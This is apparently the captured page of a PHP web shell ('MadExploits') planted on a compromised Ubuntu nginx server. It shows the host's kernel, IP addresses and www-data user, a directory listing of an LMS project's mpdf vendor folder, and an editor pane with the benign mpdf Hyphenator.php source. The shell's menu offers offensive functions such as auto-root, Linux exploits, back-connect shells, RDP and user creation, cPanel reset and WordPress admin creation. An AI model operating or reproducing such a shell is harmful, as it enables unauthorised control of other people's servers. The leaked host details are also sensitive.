Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.189
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
lms-api-8 /
vendor /
mpdf /
mpdf /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
Barcode
[ DIR ]
drwxrwxr-x
Color
[ DIR ]
drwxrwxr-x
Config
[ DIR ]
drwxrwxr-x
Container
[ DIR ]
drwxrwxr-x
Conversion
[ DIR ]
drwxrwxr-x
Css
[ DIR ]
drwxrwxr-x
Exception
[ DIR ]
drwxrwxr-x
File
[ DIR ]
drwxrwxr-x
Fonts
[ DIR ]
drwxrwxr-x
Gif
[ DIR ]
drwxrwxr-x
Http
[ DIR ]
drwxrwxr-x
Image
[ DIR ]
drwxrwxr-x
Language
[ DIR ]
drwxrwxr-x
Log
[ DIR ]
drwxrwxr-x
Output
[ DIR ]
drwxrwxr-x
Pdf
[ DIR ]
drwxrwxr-x
Shaper
[ DIR ]
drwxrwxr-x
Tag
[ DIR ]
drwxrwxr-x
Utils
[ DIR ]
drwxrwxr-x
Writer
[ DIR ]
drwxrwxr-x
AssetFetcher.php
3.54
KB
-rwxrwxr-x
Barcode.php
5.92
KB
-rwxrwxr-x
Cache.php
2.32
KB
-rwxrwxr-x
CssManager.php
76.41
KB
-rwxrwxr-x
DirectWrite.php
14.58
KB
-rwxrwxr-x
Form.php
67.39
KB
-rwxrwxr-x
FpdiTrait.php
11.59
KB
-rwxrwxr-x
Gradient.php
34.06
KB
-rwxrwxr-x
HTMLParserMode.php
731
B
-rwxrwxr-x
Hyphenator.php
4.97
KB
-rwxrwxr-x
Mpdf.php
938.82
KB
-rwxrwxr-x
MpdfException.php
73
B
-rwxrwxr-x
MpdfImageException.php
82
B
-rwxrwxr-x
Otl.php
248.46
KB
-rwxrwxr-x
OtlDump.php
163.1
KB
-rwxrwxr-x
PageBox.php
1.02
KB
-rwxrwxr-x
PageFormat.php
2.33
KB
-rwxrwxr-x
ServiceFactory.php
5.79
KB
-rwxrwxr-x
SizeConverter.php
3.31
KB
-rwxrwxr-x
Strict.php
1.5
KB
-rwxrwxr-x
TTFontFile.php
169.31
KB
-rwxrwxr-x
TTFontFileAnalysis.php
14.22
KB
-rwxrwxr-x
TableOfContents.php
32.67
KB
-rwxrwxr-x
Tag.php
7.23
KB
-rwxrwxr-x
Ucdn.php
128.86
KB
-rwxrwxr-x
Watermark.php
49
B
-rwxrwxr-x
WatermarkImage.php
1.17
KB
-rwxrwxr-x
WatermarkText.php
887
B
-rwxrwxr-x
functions-dev.php
165
B
-rwxrwxr-x
functions.php
521
B
-rwxrwxr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Hyphenator.php
<?php namespace Mpdf; class Hyphenator { /** * @var \Mpdf\Mpdf */ private $mpdf; private $patterns; private $dictionary; private $words; private $loadedPatterns; /** * @var bool */ private $dictionaryLoaded; public function __construct(Mpdf $mpdf) { $this->mpdf = $mpdf; $this->dictionaryLoaded = false; $this->patterns = []; $this->dictionary = []; $this->words = []; } /** * @param string $word * @param int $currptr * * @return int */ public function hyphenateWord($word, $currptr) { // Do everything inside this function in utf-8 // Don't hyphenate web addresses if (preg_match('/^(http:|https:|www\.)/', $word)) { return -1; } // Don't hyphenate email addresses if (preg_match('/^[a-zA-Z0-9-_.+]+@[a-zA-Z0-9-_.]+/', $word)) { return -1; } $ptr = -1; if (!$this->dictionaryLoaded) { $this->loadDictionary(); } if (!in_array($this->mpdf->SHYlang, $this->mpdf->SHYlanguages)) { return -1; } // If no pattern loaded or not the best one if (!$this->patternsLoaded()) { $this->loadPatterns(); } if ($this->mpdf->usingCoreFont) { $word = mb_convert_encoding($word, 'UTF-8', $this->mpdf->mb_enc); } $prepre = ''; $postpost = ''; $startpunctuation = "\xc2\xab\xc2\xbf\xe2\x80\x98\xe2\x80\x9b\xe2\x80\x9c\xe2\x80\x9f"; $endpunctuation = "\xe2\x80\x9e\xe2\x80\x9d\xe2\x80\x9a\xe2\x80\x99\xc2\xbb"; if (preg_match('/^(["\'' . $startpunctuation . '])+(.{' . $this->mpdf->SHYcharmin . ',})$/u', $word, $m)) { $prepre = $m[1]; $word = $m[2]; } if (preg_match('/^(.{' . $this->mpdf->SHYcharmin . ',})([\'\.,;:!?"' . $endpunctuation . ']+)$/u', $word, $m)) { $word = $m[1]; $postpost = $m[2]; } if (mb_strlen($word, 'UTF-8') < $this->mpdf->SHYcharmin) { return -1; } $success = false; $preprelen = mb_strlen($prepre); if (isset($this->words[mb_strtolower($word)])) { foreach ($this->words[mb_strtolower($word)] as $i) { if (($i + $preprelen) >= $currptr) { break; } $ptr = $i + $preprelen; $success = true; } } if (!$success) { $text_word = '_' . $word . '_'; $word_length = mb_strlen($text_word, 'UTF-8'); $text_word = mb_strtolower($text_word, 'UTF-8'); $hyphenated_word = []; $numbers = [ '0' => true, '1' => true, '2' => true, '3' => true, '4' => true, '5' => true, '6' => true, '7' => true, '8' => true, '9' => true ]; for ($position = 0; $position <= ($word_length - $this->mpdf->SHYcharmin); $position++) { $maxwins = min($word_length - $position, $this->mpdf->SHYcharmax); for ($win = $this->mpdf->SHYcharmin; $win <= $maxwins; $win++) { if (isset($this->patterns[mb_substr($text_word, $position, $win, 'UTF-8')])) { $pattern = $this->patterns[mb_substr($text_word, $position, $win, 'UTF-8')]; $digits = 1; $pattern_length = mb_strlen($pattern, 'UTF-8'); for ($i = 0; $i < $pattern_length; $i++) { $char = $pattern[$i]; if (isset($numbers[$char])) { $zero = $i === 0 ? $position - 1 : $position + $i - $digits; if (!isset($hyphenated_word[$zero]) || $hyphenated_word[$zero] !== $char) { $hyphenated_word[$zero] = $char; } $digits++; } } } } } for ($i = $this->mpdf->SHYleftmin; $i <= (mb_strlen($word, 'UTF-8') - $this->mpdf->SHYrightmin); $i++) { if (isset($hyphenated_word[$i]) && $hyphenated_word[$i] % 2 !== 0) { if (($i + $preprelen) > $currptr) { break; } $ptr = $i + $preprelen; } } } return $ptr; } private function patternsLoaded() { return !(count($this->patterns) < 1 || ($this->loadedPatterns && $this->loadedPatterns !== $this->mpdf->SHYlang)); } private function loadPatterns() { $patterns = require __DIR__ . '/../data/patterns/' . $this->mpdf->SHYlang . '.php'; $patterns = explode(' ', $patterns); $new_patterns = []; $patternCount = count($patterns); for ($i = 0; $i < $patternCount; $i++) { $value = $patterns[$i]; $new_patterns[preg_replace('/[0-9]/', '', $value)] = $value; } $this->patterns = $new_patterns; $this->loadedPatterns = $this->mpdf->SHYlang; } private function loadDictionary() { if (file_exists($this->mpdf->hyphenationDictionaryFile)) { $this->dictionary = file($this->mpdf->hyphenationDictionaryFile, FILE_SKIP_EMPTY_LINES); foreach ($this->dictionary as $entry) { $entry = trim($entry); $poss = []; $offset = 0; $p = true; $wl = mb_strlen($entry, 'UTF-8'); while ($offset < $wl) { $p = mb_strpos($entry, '/', $offset, 'UTF-8'); if ($p !== false) { $poss[] = $p - count($poss); } else { break; } $offset = $p + 1; } if (count($poss)) { $this->words[str_replace('/', '', mb_strtolower($entry))] = $poss; } } } elseif ($this->mpdf->debug) { throw new \Mpdf\MpdfException(sprintf('Unable to open hyphenation dictionary "%s"', $this->mpdf->hyphenationDictionaryFile)); } $this->dictionaryLoaded = true; } }
Close